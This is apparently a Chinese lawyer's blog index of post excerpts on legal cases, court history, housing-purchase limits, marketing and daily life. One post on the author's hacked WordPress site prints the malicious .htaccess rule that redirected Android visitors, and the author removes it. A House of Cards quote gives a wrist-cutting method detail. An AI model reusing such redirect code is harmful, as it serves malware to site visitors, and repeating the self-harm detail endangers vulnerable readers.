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一位网友的来信及回复

前言:我很感动,下面这位网友通过我的博客了解到我,并给我写了一千多字的留言,倾述他的遭遇,希望我给予他一点法律建议。下面分别是他的留言与我的回复,记录在此是对自己的一个鼓励。具体名字隐去。
石材厂老板的留言
我是做石材行业的,新的国家安全生产法新出台后,区安监局有到镇上组织开会,大概是2014年9月份,第二天马上有安监部门和职业健康服务公司与带 黑社会性质的特种设备维护单位来我厂里说一年要收多少多少的。我回来打电话问那家职业健康服务公司的收费明细,他说就那个价,然后我说:“机器少可以少 吗?”,职业健康服务公司的说:“你不做安监的说可以也没事的。”接着就挂电话。
我就觉得是官商勾结,然后去镇上纪委办公室反映这个问 题!2015年1月20日又来两个人来厂里直接开了张单,我看我老婆到楼上房间拿公章下去,我以为又是来敲诈的或是诈骗的就把单子撕了,接着他们就出去开 了一张责令限期整改指令书,后来经过了解我才知道是有这个事!第二天安监的就出了十几个人来我厂里检测还有喊我做笔录!隔天我就按照他们要求重新找了家职 业卫生健康服务公司签订了合同并付了款!但是他现在今天又让我们市场方要我去区安监局接受行政处罚!
因为是新出台的规定,重庆上千家中小加工厂据我所知的办理好了的就是多了职业病危害项目申报与检测,而且感觉是书面文章就是个形式!因为根本没有行业标准,完全是他们安监的说什么就是什么!
我 们市场上几百家都是和我一个情况的做了十几年了,他现在单独要处罚我一家,今天26号我去了,他开的行政处罚告知书给我罚两万,我就2个工人,每个月还给 工人钱自行买劳保用品,他20日开了于2015年1月27日前整改完毕,达到有关法律规章和标准规定的要求。逾期不整改或达不到要求的,依法给予行政处 罚,但是我在23号就已经按照他们要求去于职业健康服务公司签订了合同了,他现在还是要单独处罚我一家!另外我前天发信息和当事的安监工作人员沟通了,他 说他这没怎么,主要是他们的#副局那里要我去处理,我也明白是要我去送钱!行业不景气加上上个月交了厂租,真的目前没有钱去处理这个,傅律师你觉得我这个 可以告得赢吗?今天我去了另外那天做笔录的工作人员我跟他哭穷他又说要我自己去他们#副局那里说说!
我就不知道他们是执的什么法,新法规出 台,大家以前都没有的。现在整改就是到6月份都完成不了的,而且整改了变化也不大,就是企业多出…

最高人民法院有趣的批复

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最高人民法院新址

最高人民法院旧址

前言:以下几则是网友Petriv在水木社区的发帖,颇有意思,转帖在此,以博一笑,笑过之余,可由此体察我国法律制度建立的渊源,在建国之初时虽然法律只是政策与中央意见的附庸,但是仍然对一些基本的法律原则以批复形式予以确认,目前的中国提出的全面推进依法治国的理念,以及构建成这一现代化法治理念的的庞杂的成文法实则来之不易啊。
当事人的上诉权最高人民法院关于北京市、天津市法院今后案件判决须于判决载明向何法院提起上诉的命令 1949年11月3日,最高人民法院 北京、天津市人民法院:   查华北人民法院业已结束。今后京、津两市人民法院须于判决书后载明:“如不服本判决,得于判决送达后××日内(民事判决20日,刑事判决10日)向本院提起上诉,由本院转送上级法院”等字样,使当事人得知应向何法院提起上诉为要。   此令 最高人民法院、司法部关于“社会渣滓”是否有上诉权问题的函 1954年10月14日,最高法院、司法部 湖南省人民法院:   你院秘密(54)字第33号函阅悉。关于第二个问题“社会渣滓犯罪,是否有上诉权”问题提出如下意见:   一、“社会渣滓”范围很广而且复杂,其含义也不很清,故用这一罪犯名称不很恰当。   二、是否准许这些罪犯上诉,按一般原则,应该准许上诉。
当事人死亡,案件即告终结原则最高人民法院关于经县法院判处死刑的犯人因病死亡是否需要复核问题的指令 1949年12月5日,最高人民法院 河北省人民法院:   据你院法审字第38号呈报:高邑县在押反革命杀人犯郭士俊于本年10月26日夜12时,因患肺结核病死亡,是否仍应复核,请核示等情。查犯人已死,该案即属终结,无再核示之必要。   此令   附:   河北省人民法院关于高邑县反革命杀人犯郭士俊因病身亡是否需要复核的报告法审字第38号   最高人民法院:   据高邑县报告,反革命杀人犯郭士俊,于本年6月4日被判处死刑,报送太行法院复核,未奉批回,该犯忽于10月18日夜,急患肺结核病,全身发烧,肺部疼痛,大便下不来,全身肿胀,请医诊治,服西药五剂,中药一剂,均不见效。至10月26日夜12时,因病身亡,检同诊断书验断书报请备案等情。查我院于10月26日收到高邑反革命杀人犯郭士俊一案卷宗,系由石家庄专员公署转来的,我院尚未复核,而该犯郭士俊早已死亡,究竟这案是否仍应复核?颇有异议。有说犯…

签字与按手印哪个更真实

承诺,乃告诉相对人,对自己未来行为的预期。无论是民事行为的承诺,还是感情付出的承诺,最终都要指向具体的行为。民事行为的履行会受约束,但是感情的承诺却无法控制。一个人的字迹可以看出一个人的品行,这个说法大了点。但是,一个正常人在一般情况下书写的字的痕迹却是独有的。认真书写时的工整与随心书写时的洒脱,虽然看似大有不同,但是笔尖上的起承转合,无不将自己的习惯流露出来,在司法鉴定中,对于一个人的字迹的疑义,都是能通过技术手段鉴定出来真伪的。一个人的指纹更是独一无二的,指纹的痕迹更能直接反映人的移动轨迹。当在签订协议时,所摁下的手印一定是这一个人的手印,它能表示一种事实的真实性。在签订合同的时候,法律规定签字与捺印具有同等效力,后果均是导致自己愿意承担约定内容的约束,可以表示行为人的意思。除了上述两个主要原因外,自古以来签字与摁手印均是作为个体身份存在的表示。它具有便捷性与易操作性,且不容易伪造。艺术作品的书法绘画的署名,公文的签署,“朕”的御批,囚犯的画押等等,直到现在科学技术如此发达的年代,在民事活动中,原始的签字捺印仍然是用得最多的。对于电子商务活动的日益兴盛,今后对于商务交往中的电子签名也会适用得越来越多,国家颁布了《电子签名法》,如何进行电子签名,相信绝大多数人都是不清楚的,不清楚不代表不能使用,事实上大部分人,尤其是年轻人,喜欢在网上捣腾的人基本上都和电子签名打过交道,直接的就是网银付款与淘宝购物。当你在淘宝上下单时,你在作一个民事行为,通过网银或支付宝进行付款时,简单的几步就转移自己的财产。实际上,你已经在用电子方式签了名。电子签名是一项特殊服务,有专门的签名服务机构,同时需要得到许可。对于电子签名更多的内容,且不在此展开,下面继续探讨签字与摁手印的不同。根据实际情况,从签字或摁手印时的环境来假设分析,其实这两者还是有一定的区别。如果合同双方在形成合同时意思真实,没有受外部因素的影响,那么签字与捺印没有可比较性,两者都能真真的代表本人的意思。本文重点侧重于讨论两者在一个非正常的合同达成环境下,谁更能体现合同双方的意思。我们不考虑合同一方因受欺骗而作出签订合同的决定的情况,这种情况下,对于签字本身来说,当时他并没有意识到自己受到欺骗,在写下自己的名字时他想的就是写自己的名字。这种情况签字与捺印都是一样的。因受欺骗而想维护自己的权利,也只能事后提供被骗的证据,而申…

在限购政策下用虚假诉讼或证明达到房屋产权过户的风险

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对于想投资投机房地产,保值增值资产,但是又受限购政策限制的情况,该如何办?重庆市的限购政策又是如何规定的?有些人打算以诉讼方式来过户房屋产权,这里面有什么法律风险?这些问题有必要进行梳理。

一、国家限购政策规定
国家的限购政策如何?这个力度是很大的,根据《国务院办公厅关于继续做好房地产市场调控工作的通知》国办发〔2013〕17号的限购规定:
二、坚决抑制投机投资性购房

…限购区域应覆盖城市全部行政区域;限购住房类型应包括所有新建商品住房和二手住房;购房资格审查环节应前移至签订购房合同(认购)前;对拥有1套及以上住房的非当地户籍居民家庭、无法连续提供一定年限当地纳税证明或社会保险缴纳证明的非当地户籍居民家庭,要暂停在本行政区域内向其售房。…
二、重庆市关于调控房市的规定
但是重庆市黄市长“上行下效,坚决执行”的实施细则却未提及如何进行限购:

《重庆市人民政府办公厅关于继续做好房地产市场调控工作的通知》渝府办发〔2013〕77号,对于“坚决抑制投机投资性购房”的下效中的规定为:
五、发挥税收调节作用。抑制投资投机性购房,对在主城区个人拥有的独栋商品住房、个人新购的高档住房,以及在重庆同时无户籍、无企业、无工作的个人新购的第二套(含二套)以上的普通商品住房征收房产税;对出售自有住房按规定应征收的个人所得税,通过税收征管、房屋登记等历史信息能核实房屋原值的,应依法严格按转让所得的20%计征。
虽然重庆没有以快刀切断的方式明确提出限购规定,但是对于抑制投资投机的购房者要征收房产税。对于房产税的征收,是必须有配套措施的。在2011年1月28日《重庆市人民政府关于进行对部分个人住房征收房产税改革试点的暂行办法》中的征收对象来看针对的都是有钱人,如有独栋商品房、新购高档住房者以及外地炒房人。
三、虚假诉讼风险几何?
首先,对房屋可以通过诉讼取得产权的法律依据

因为法院生效的判决书和调解书对于产权的确认,不受“限购令”的限制。

根据《物权法》第二十八条:
因人民法院、仲裁委员会的法律文书或者人民政府的征收决定等,导致物权设立、变更、转让或者消灭的,自法律文书或者人民政府的征收决定等生效时发生效力。
其次,房屋虚假诉讼的情形

虚假诉讼中取得房屋产权的四种途径:

该部分主要参考深圳市罗湖区法院的总结:规避深圳“限购令”催歪招虚假诉讼购房四种途径曝光

虚假买卖合同纠纷之诉。在现有政策的限制下,一方不具备购房资格,双方签订房…

重庆律协不应该给律师取消北大法宝福利

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中国任何一栋政府建筑楼相对于周边的建筑来说,对于地盘的占用与空间的利用都是令人羡慕嫉妒恨的。自然我们的重庆司法局律协大楼是规模宏大,气势磅礴的。
磅礴的不仅是外观,还有它的内在。根据重庆市律协官方数据:重庆市截止2011年底,重庆有注册律师5467人,律师事务所498家。到2014年,重庆市执业律师约在7000人左右,主城区律师有约80%。

天才训练秘笈

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天才不是天生的,据说这是大脑里神经回路外包裹的一层介质——髓鞘质,髓鞘质越厚,神经脉动就越快越准确,其控制的肌肉群就越灵敏,但是“灵敏”二字还不足以形容天才。
在看了《一万小时天才理论》后我用百度脑图整理了几个要点,画了个图。现在把这个秘笈贴出来:想成为天才的人,试试吧。

下面是原书中几段不错的话,一并剪贴在此:

为了保持身材而不想把奶水喂给孩子吃的女人,我想说下面这段话:

对白流露政治斗争中的人性—美剧《纸牌屋》

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当我为鱼肉人为刀俎时,就杀一条新鲜的鱼喂他。
注:已经身为副总统的弗兰克,此时正和大商人斗争。

我去喂点骨头给狗(骨头指新闻,狗指记者)。
注:美国的记者权力很大,美国宪法修正案赋予了记者可以向任何官员提出任何可以质疑的问题,因此官员对于记者的“骚扰”不胜其烦。

我已成功的让总统疏离了所有人,包括我自己(弗兰克)。
注:弗兰克有不少事情是没让总统知道的,当派克总统知道之后,觉得自己受到了欺骗,已经对身边的人都不相信了。

让别人采纳自己的建议时,让他反对自己所反对的。
注:这是副总统的弗兰克为了让总统支持自己的建议,而故意提出一个相反的观点,其实他是知道总统会否决自己的观点的,这是让别人接受自己的观点后还不察觉自己在背后运作的手段。

痛苦分两种,一种让你变得更强,另一种毫无价值,只徒添折磨。我对没有价值的东西没有耐心,这种时刻,需要有人采取行动…或做一些不好的事…也是必要的事。好了,痛苦结束了。
注:这是《纸牌屋》第一季第一集影片开始时,出现的一幕,弗兰克邻居的一只狗被汽车撞了,他背后是邻居在谈论,他手下是这条受伤的狗,本以为他要安抚这条狗狗的,但他在自我旁白中说了上面这段话,送了这条奄奄一息的狗一程。

我爱那个女人,胜过鲨鱼爱鲜血。
注:这是弗兰克评价自己对妻子克莱尔的感情,克莱尔有婚外情,弗兰克也与想从他口中得到爆料的记者上床,但是夫妻俩都心照不宣,甚至谈论此事,当然双方都会不舒服。对于与妻子保持暧昧关系的摄影师之间的感情,正如弗兰克所说,相比较于他们的婚姻简直微不足道,他们的结合其实从一开始就有一个远大的目的在不断的巩固着双方的关系。

个人的character不取决于他如何享受胜利,而在于这个人如何忍受失败。没有什么比信念更能支撑我们度过艰难时光了。
注:这句台词非常好,它能给人以向前的支撑,在困扼的途中,可以想想这句话。信念是什么,这句话里看不出来,但是每个人心中都有一积极的信念,在困苦中就需要相信信念的力量。

如果你真决定以懦弱的方式解脱,沿血管割,不要横着割,这是低级错误。
注:不能不说,影片中弗兰克的说服能力相当有魅力。皮特罗素酗酒嫖娼的把柄,被弗兰克捏在手中,因此皮特罗素不得不按照弗兰克的要求放弃对所辖区的造船厂的支持,导致上万人的失业,他也受到了支持者的唾弃。走投无路的皮特罗素愤怒的来到弗兰克家,准备泄愤时,被弗兰克几句话劝说,给了他另一个希望,…

QQ空间是自我成长的好工具

如何随时随地保存自己的思考与收集的资料。我自己的网站用wordpress做的,它也有草稿箱,有文章历史版本,写文章时可以自动随时保存。但是对于服务器来说,这是一个不小的负载,同时会减慢网站的访问速度,于是我便安装了插件,将相关缓存给禁用了,后来我直接在wordprss后台用全屏编辑文章,因为全屏模式没有任何干扰,可以专注于书写,当时那篇文章写得还比较满意,但是当我退出全屏,插入图片点击发表按钮后,前台却没有文章,我再看后台草稿箱里也没有保存,也就意味着我花的一个半小时写的文章就完全消失了。只有靠自己从新追忆刚才的思维过程,这种感觉不大舒服,我再一回顾,基本上记不清具体的文字了,只有一些片段。如果给自己一个充分的时间酝酿,应该是能够恢复的,但是我想这也不是很重要的东西,只不过是自己的一点文字而已,但是这种失误在自己写文章过程中,有非常不好的影响,后来我想到了QQ空间。经过我一番研究QQ空间是一个非常好的工具。首先,它有随时保存的功能,一般它检测到你停止输入文字一小段时间后,大约10秒钟,就会给你自动保存一次,直接储存到QQ服务器云端,自己不用担心所书写的东西被丢失了。况且它的服务器对于QQ用户来说,发表文章这块是免费的,你也不用担心自己对服务器的维护与功能或容量不够,这一切都由腾讯给你布置好了的。其次, QQ文章编辑器功能非常强大,是除了百度编辑器外最好的编辑器了。它可以加入外链,视频、音乐、图片,甚至转换word文档。目前我自己体会的是图片的上传与外链的添加,其它的没有使用过。其中在文章中插入图片是用得最多的,相比较于我自己的博客网站,后者就非常麻烦。比如我要在我的个人博客的文章中添加图片,有两种方式,第一种是在其它网站里找到合适的图片,复制图片网址,在wordpress后台编辑器里插入图片网址,再发布,当然这几个步骤比较简单,而后患在于如果引用的图片源网址失效的话,文章中的图片自然就不会显示了,同时多了一个死链,对优化不好。第二种是自己拍摄或制作的图片,上传到自己的博客服务器或者免费云储存空间,而图片会比文字有更大的容量,上传到自己服务器这也是不经济的,而且一旦自己服务器崩溃了,就完全白费功夫,如果储存在免费云空间比如七牛云储存上,这是非常好的工具,我自己也在用。就不用担心数据的负载与丢失问题,至少应该会比自己的服务器强。但是有一点就是需要先将图片上传,然后再将…

当事人被投毒与追杀

昨天H律师到重庆来,打电话叫我一起去见一个当事人,离婚纠纷,并提前叮嘱我说,带好律师证。我听他说得事关滋事不小,心中不免重视起来。下午1时我来到宏声广场,从李家沱坐轻轨,一路无碍的到了南坪站,然后H律师约了在丽华酒店会面,我们坐在酒店大厅里,交流时,只见H律师看着大厅进口处,我知道是当事人来了,是一个中年妇女,相貌端庄,鼻子旁边和下巴那里有一点红痕,之前H律师就对我说过,今天这个当事人是因家庭暴力,要离婚的。我看这架势,可能正是打了架不久。以下是当事人的口述,听她说话,思路显然非常之清晰,描述事情发生的经过时,完全能将我们带入身临其境的感觉,不过越听我越不对劲:下面用第一人称来叙述她所说的内容:“我把我的情况给你们详细讲一讲,我是一个有特殊技能的人,你们知道股票吧,我经过二十几年的研究,能准确的判断出哪支股票在什么时候涨,什么时候跌。你比如说,今天我喊你这三支股票在这个时候要涨了,你买入,到了要跌的时候,你出卖掉,在这个期间你就会只赚不跌。我把我的这一套方法总结了下来,那个人知道我有这个技能,就想利用我,但是他曾经对我是有恩,我心想为了报答她,愿意和他合作,也能体现我自己的价值。但是有一天早晨起来梳头,我发现我的头发突然一下子掉了三四百根,平时掉头发正常的嘛最多只掉几十根嘛,所以我就怀疑,而且晚上睡觉的时候,当我的脑袋一挨着枕头就感觉有一种东西进入我的脑壳,然后我头脑里就是一片空白,当时我和我老公一人睡一边,我去他那边睡就没有这种反应,一旦我睡到我这个位置,我就全身不舒服,睡的这个位置,只要身体接触到毯子,被子,身体上就吸入了毒气,然后手脚就不正常,神经好像就被麻痹了。我知道这是被他喷了毒,你们晓得现在有些毒药只要一接触到身体,就会被吸收的。后来我就检查我的房间,我的鼠标、坐的椅子,全部被他喷了毒,原来我用鼠标感觉不到什么,但是后来我发现,我刚一接触到鼠标,手就不听使唤,我坐的椅子下面,也被喷了毒药。后来我就把位置换到侧面,坐下才没有这种感觉了。我那套资料,几十年研究的成果,我本来为了报答他,是要跟他合作的,但是他叫我把这个我总结的心得经验全部拿给他,我心想,我们合作时每次需要买什么股票,我会告诉你的,就不想把这个东西拿给他,后来我发现我的保险柜被动过,我在我的房间安了录音设备,每次我都会听到录音里面有开保险柜的声音,其它声音没有,就是这个开保险柜的声音,我是听得…

听牟长青YY语音微信营销经验分享

8点在夫子商学院主持的YY语音频道676876听牟长青主讲关于微信方面的内容,从晚上8点讲到11点半,听课的人有2500人左右。牟长青是网络推广方面的实战专家,大家来听都想得到点实战干货。毕竟,微信粉丝经济效益太直接了。听他意思,在微信广告报价里面,1万粉丝做一条广告就可以收取100—300元(这点需要进一步核实,基本上是这个情况),那么,他粉丝有近200万,广告收益这是不得了的了。一个月估计10万不成问题。今天整理一下昨天晚上听讲的收获。地方微信公众号大有作为,比如他讲到巫溪地方微信公众号:巫溪网(网站地址:http://www.cqwuxi.com/),城市人口8万多,他的微信公众号粉丝就有5万,在这样一个贫困县,仅仅通过微信公众号每月的广告收入也是以万为单位的。相对于全国号或省级号,对于潜在的用户来说,他们更容易点击阅读自己家乡的信息。如何寻找地方公众号的内容?如何找自己家乡的新闻, 其实不一定都要自己去采访寻找,这样不现实,可以到地方论坛,地方门户信息网站,去寻找。他说到他的微信公众号“巴南人家”(?),曾经发了一条,巴南轻轨修建的消息,结果这一转载的地方新闻阅读量却出奇的不错。你总是不容易捉摸粉丝的口味,也许自己认为非常不错的内容,却没有多少阅读量,所以就需要不断尝试,善于借鉴别人的技巧与内容。一、借鉴别人的技巧,关注一些做得好的微信号,看他是怎么做的,进行模仿。牟长青介绍了一个微信评估工具:新媒体排行榜(http://www.xdnphb.com/),他不介绍可能很多人完全不晓得,这个工具实在是好,对于我们做数据分析,相当有帮助,可以从中看到他们做得好的到底好在什么地方。二、借鉴别人的内容,一切的的媒体信息平台,原创内容始终是最好的东西,但是前提是能对用户的胃口,对于个人运营的微信公众号来说,除了少数几个牛人外,一般人几乎不可能每天发布能吸引人的内容。除了前面据说的可以参照做得好的公众号外,其实,有一些粉丝量不高的公众号的内容却往往不错,如何却找这种内容,如何进行加工整理,这都是要靠坚韧的执行力。如何积累原始的几千到一万的粉丝?让微信大号进行推荐效果显著,但是要蹭得上大号这个人物的人气,没有好关系是不行的。但是进行互推,就容易些,大家资源共享,我推荐你你就有机会获得我的粉丝,你推荐我我就有机会获得你的粉丝。前提是,积累自己的原始粉丝。有一些商家,比如一…

博客被挂马

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博客从前天出现电脑端访问是一片空白,需要输入一个密码,联系主机客服,说是插件导致,后来查看后台发现一个不明文件存在插件文件夹中,然后删除了其中好几个个插件,网站恢复了电脑端的访问,但是我用手机访问却被跳转到另外一个网站上,危险的网站,是俄语的界面,再点击一下,出来一个下载文件,我用手机下载了测试,360手机卫士果然警报说这是危险的应用。不知道是哪个天杀的黑客,黑了我的网站,给我挂一个病毒。

我联系主机客服,他们告知说这是网站被黑了,要自己处理。但是网上搜索“wordpress网站被黑”等相关词句出来一些并没有多大相关性的文章,后来弄明白了一般这种情况被称为“挂马”,也就是。百度百科关于挂马的解释如下:
所谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,服务器漏洞,网站程序0day, 等各种方法获得网站管理员账号,然后登陆网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时,你就会自动的访问被转向的地址或者下载木马病毒。
下一步搜索到一篇文章“WordPress站点被挂马?如何预防、检测和应对?”发布于wp大学网站的。我用手机访问后恶意跳转的问题应当是重定向问题,这篇文章中就讲到.htaccess有可能被利用。结果的检查发现,果然是这货里面,出现了反常代码,至少我能看懂里面的一个url,这个url就是跳转过去的网站链接里面的。这段恶意代码如下:
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} “Android” [NC]
RewriteRule ^(.*)$ http://恶意网址/ [L,R=302]
RewriteOptions inherit
那我就直接给删除一试,重新上传.htaccess,再用手机访问,这就正常了。我估计这次被挂马,可能是插件安装的问题,插件安装不宜过多。最好是通过官方后台并且经过试试与现有版本兼容的插件。

法律派博客的插件使用

个人的博客也折腾了一段时间了,对于网站程序本身应该适当保持稳定性,专注于自己该专注的,让我们这种非程序技术人员所专注的,除了文章的撰写外就不应当花过于多的时间在网站上。但是这个毛病是不容易彻底纠正。

WordPress博客的插件非常重要,开源插件功能强大,几乎可以满足所有的要求。才安装的博客,有一些是必须要安装的。下面我就要记录一下本人博客建立后所使用的一些插件,以免今后出现无法挽回的数据丢失,而不知道自己曾经安装了哪些插件,而不能顺利重装。

记违章建筑房屋租赁纠纷两审过程

时间如流水趟过,它没有声音与痕迹,在它无音巨浪的推送淘渌下,成长、变大、了结。2013年7月的样子接手的一个案子,到今年10月份接到二审判决,时间算是漫长,经历了两审,最终算是理想收束。原告是一个集体老企业,濒临破产。那时的企业有很多房产很正常,东一点西一处,他们据说就靠收一些房租维持企业基本运营,实际上没有什么业务可做,但是企业有一大批即将退休的老职工,一退休就要发一大笔钱。当事人找到我,说他们有一处房产在80年代被拆迁后一直没有得到相应的补偿款,当初拆迁的时候给安排了一处临时处所,原告也一直在使用,期间多次将这个临时处所承包租赁给他人使用。现在20多年过去了,拆迁补偿款的事情是不能再拖下去了。于是找到本人,要求打一场租赁返还的官司,即要求现在占有临时处所的人离开,收回当时安置的临时处所,并交还给当地房管局。我们对案件情况做了一个整体分析评估:80年代原告房屋被拆迁时的拆迁单位现在已经不复存在,但是能找到愿意承担此事的拆迁人,经过原告多次上访,现在地方房管局已经表态只要将当时安置的临时处所交还出来就可以补偿拆迁款80余万。而现在占有临时处所的人一直不愿意搬走,曾经在09年综合行政执法局意欲收回该临时房屋,也未果。我们认为,原告的根本目的是要获得拆迁补偿款,而承担这个补偿责任的主体是继受当时拆迁安置责任的单位,这个单位初步分析应当归入政府相关部门。所以如果直接针对源头,那么就要打一场行政诉讼官司,民告官这个社会现实困境有待进一步商榷。另外,通过当事人与相关政府部门沟通及多次上访已得到相关部门明确表态,即得到补偿款的条件是原告归还目前的临时处所。那么是直接与相关部门打行政官司呢,还是按照目前当事人给透露的情况,通过民事诉讼收回现被占用的临时处所?这个问题其实在二审开始的时候,我思考得比一审更多。因为在一审之前,虽然也考虑到行政诉讼,但是为了避免直接硬碰硬,本不打算不走行政诉讼。同时也考虑到在此案中,通过民事诉讼是可以解决问题,并且不可预测的因素会更少。于是我们确定了诉讼的大方向。在考虑民事诉讼请求的设计之前,本来我们有一次几乎想放弃继续进行下去,因为在我一个同事拿回来的材料中我没有看到一个关键的证据材料,即证明当时原告房屋被拆迁的证明,因为一切纠纷都源自于这个证明。于是我到了原告的单位,要求他们把这个资料拿出来给我看,当时原告找的半天,找到了一份该证据材料的复印件,…

暂且放弃微信公众号

当初为了申请一个微信公众号,叫领导盖鲜红的公章证明身份,叫人拍手持身份证个人照上传;为了申请公众号而认证腾讯微博,为了认证腾讯微博,违心的转载别人发的微博,还发一些什么所谓的心情,弄得自己多愁善感的样子,终于微博经验值达到了,微博也认证起了。结果微信公众号却怎么也申请不起,刚开始还以为真的是腾讯告知的“系统繁忙”,反复的申请,每天跳出来的页面总是“系统繁忙”,后来华律网的一个伙伴发消息说,最近微信在限制整顿期,微信公众号不好申请了。这时我才恍然大悟,我一门心思的去申请公众号,却一直被限制,这叫我如何给广大伙伴一个满意的交待,如何对得起我一脸的希冀,满胸的激情。

其实以上牢骚并不是根本原因。假设我目前的状况真的可以做好个人微信公众号,即使是系统一直繁忙,但总有一天它会不繁忙,我会一直等待,一旦它恢复申请我会迫不及待的给自己弄一个。到现在,我已经对它是心如古井水。

微信公众号发展到现在,如果在一开始没有把握住机会,而又是一个没有什么名气的人,现在做个人微信公众号是不容易积累起粉丝的。没有粉丝的公众号就是一个死号,毫无价值。

并不是说先进入这个领域,就一定能够风生水起,如果没有花足够的时间精力去经营打理,自然也是没有效果的。

不管是网站也好微博微信也好,如果没有提供独特价值的内容,光是复制网上的内容,做一个垃圾文字的搬运工,还是没有人会喜欢。

落到基本点,是用户或粉丝的感觉最终说了算,有什么理由让别人关注你,关注你之后,又以什么东西持续的吸引住他,让他不轻易舍得将你取消。

现在我看整个微信公众号所提供的内容,大概分这几大类:一类是提供让人喜闻乐见的段子,这种账号就太多了,如搞笑的;二类是提供地方的信息的,如茶竹永川网的微信公众号;三类是提供经验性的文章分享,如牟长青的公众号;四类是提供有营养的内容分享,如罗缉思维公众号;五类是网站的公众号;六类是个人专家的展示类的公众号,比如像我之前想申请的律师公众号;七类是商家的公众号;

目前我的微信里面还保留的有第二类、第三类、第四类、第五类、第六类公众号。我看他们的内容中,对于个人公众号,如果要有很强的粘性,必须要提供有价值的东西,否则我一定会给取消。如何有价值,从我一直关注的账号的内容来看,一定是其写的内容给人以所需。要么是实际操作的经验性文章,要么是分享的有意思的文章。而且所提供的内容是不容易看到的内容,如果大家都容易看到的东西,再搬运到公…

一次不愉快的小面早餐

很长一段时间没有吃早餐了,今天早上是例外,在重庆简单的早餐就是小面,“又麻又辣香味是飘向远方”,说到这个麻辣,我耳朵里面必然要响起陈小涛那首《麻辣烫》,唱得欢快有力道,把麻辣烫的感觉唱得酣畅淋漓,听得人胸口起伏,好一阵麻辣刺激。在重庆的火锅,其实就是四川人称之的麻辣烫。而重庆火锅是否发源于四川麻辣烫,其渊源如何本人没有考究,多多少少是有一点关系的,但是重庆的火锅却也有自己的故事,山城的纤夫脚夫生活对火锅的产生有重要影响。今天早上去往常经过的地方吃了一碗小面,既不好吃,也不见得难吃,当吃到大半时,忽然来了一人,拿出五块钱向老板示意要买一碗小面吃,这个人我平时就有见到,他经常在路上拿着一个矿泉水瓶对着天空看,时不时的喝上一口,头脑里面肯定有点贵恙,衣服破烂肮脏散发着某种不友好的气味,头发是一窝布满灰尘的黄草。这时我和另外一个人坐在一张桌子上正吃着。老板收下他的钱,为了使他听得明白,大声的对他说:“你到那个角落去坐到,我煮了给你端过来。”这人不怎么言语,但是意思是明白,趔趔趄趄的蹭到那边坐下。一会儿,老板用一次性的盒子装了一碗面来,放在他前面,并叫他不要用桌子上的筷子,随即老板递给他一双一次性筷子。他不大情愿的慢慢接过一次性筷子,接着就开始吃起面来。老板为了使他听得明白,大声对他说:“你把面端起来,到农贸市场那边去吃。”听到这里,那人表情怪怪的,虽然脑袋里面有点贵恙,但从他的表情里我判断得出,他对人情世故还是有一定的感知的,他的脸有一点扭曲,里面是不服气的冲动,想反抗似乎又没有气性反抗。最后一次老板为了使他听得更明白,大声的向他吼了一声,驱逐他离开,这时他才把面端起来悻悻然慢慢的走开。今天看到这一幕,让我心里不大舒适。老板卖小面给这个人但不让他坐在桌子上吃,让我感觉到人一旦沦落到了这步田地,平等就不复存在,尊严也荡然无存,活着其实是极其可悲与可怜的。但是如果真的是和他一起坐在一个桌子上吃,虽然不至于厌恶而离开,但必定会有碍于面条的下咽。可怜之人必有可恨之处,难道就是指的这里。在路上的时候,和朋友讨论了起来。这个人是拿钱出来购买食物,老板可以卖给他也可以不卖给他。如果不卖给他,当然可以让他离开,如果卖给他,该不该让他在桌子上吃呢?老板出于生意经营着想,也完全可以理解,同时我也感到如果真的天天早上准备吃面的时候都碰到这样一个人,这也是不能接受的。但是这种驱赶行为中的赤裸裸的…

值得借鉴的:一个台湾律师在大陆的经历

注:这篇文章转载自互联网,对于初入律师行业及执业多年的律师均有参考的价值。

在中国工作三年多了,指导过几个中国的律师工作,业务上也接触一些对造律师,这是难得的经验。我很健忘,所以想在遗忘前把一些经历记录下来。

被我记录下的事,都是不好的。我无意中伤我的中国同事以及其它中国律师,毕竟中国的法治化还在婴儿学步的阶段,很多怪现象,与历史文化因素有关,而非个人的贤愚不肖。就像台湾的民主政治,怎么看就是强盗、小丑、骗子合演变装秀,哪个党哪个派都差不多。此外,我正值壮年,不年轻却气盛,自己累积了几年工作经验,难免看别人不顺眼。我曾向老板抱怨中国的同事很难带,老板四两拨千斤,淡淡地回答:「你不知道你以前也很难带吗?」

新刑事诉讼办案期限一览表

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根据《全国人民代表大会关于修改〈中华人民共和国刑事诉讼法〉的决定》,修改后的刑事诉讼法自2013年1月1日起施行。对于刑事诉讼中涉及到的时限规定,请参考下表:

 2016年3月28日修改表格

最实用的离婚诉讼指导书

诉讼离婚的管辖法院
依照我国《民事诉讼法》和最高人民法院《关于适用〈中华人民共和国民事诉讼法〉若干问题的意见》,当事人提起的离婚诉讼,原则上由被告住所地人民法院管辖。但在下述情况下,采用特殊的地域管辖:
被告离开住所地超过一年的,由原告住所地人民法院管辖;双方离开住所地超过一年的,由被告经常居住地人民法院管辖,没有经常居住地的由原告起诉时居住地的人民法院管辖。被告下落不明或者宣告失踪的,由原告住所地人民法院管辖;原告住所地与经常居住地不一致的,由原告经常居住地人民法院管辖。被告被劳动教养或者被监禁的,由原告住所地人民法院管辖;原告住所地与经常居住地不一致的,由原告经常居住地人民法院管辖。非军人对非文职军人提起离婚诉讼由原告住所地人民法院管辖;双方当事人都是军人的,由被告住所地或者被告所在的团级以上单位驻地的人民法院管辖。被告不在中华人民共和国领域内居住的,由原告住所地人民法院管辖;原告住所地与经常居住地不一致的,由原告经常居住地人民法院管辖。中国公民双方在国外但未定居,一方向人民法院起诉离婚的,由原告或者被告原住所地的人民法院管辖。不予受理的情形女方在怀孕期间、分娩后一年内或中止妊娠后六个月内,男方提出离婚诉讼的;判决不准离婚和调解和好的离婚案件,没有新情况、新理由,原告在六个月内又起诉的;原告撤诉或者按撤诉处理的离婚案件,没有新情况、新理由,六个月内又起诉的
可准离婚的条件参见最高人民法院关于夫妻感情确实破裂规定
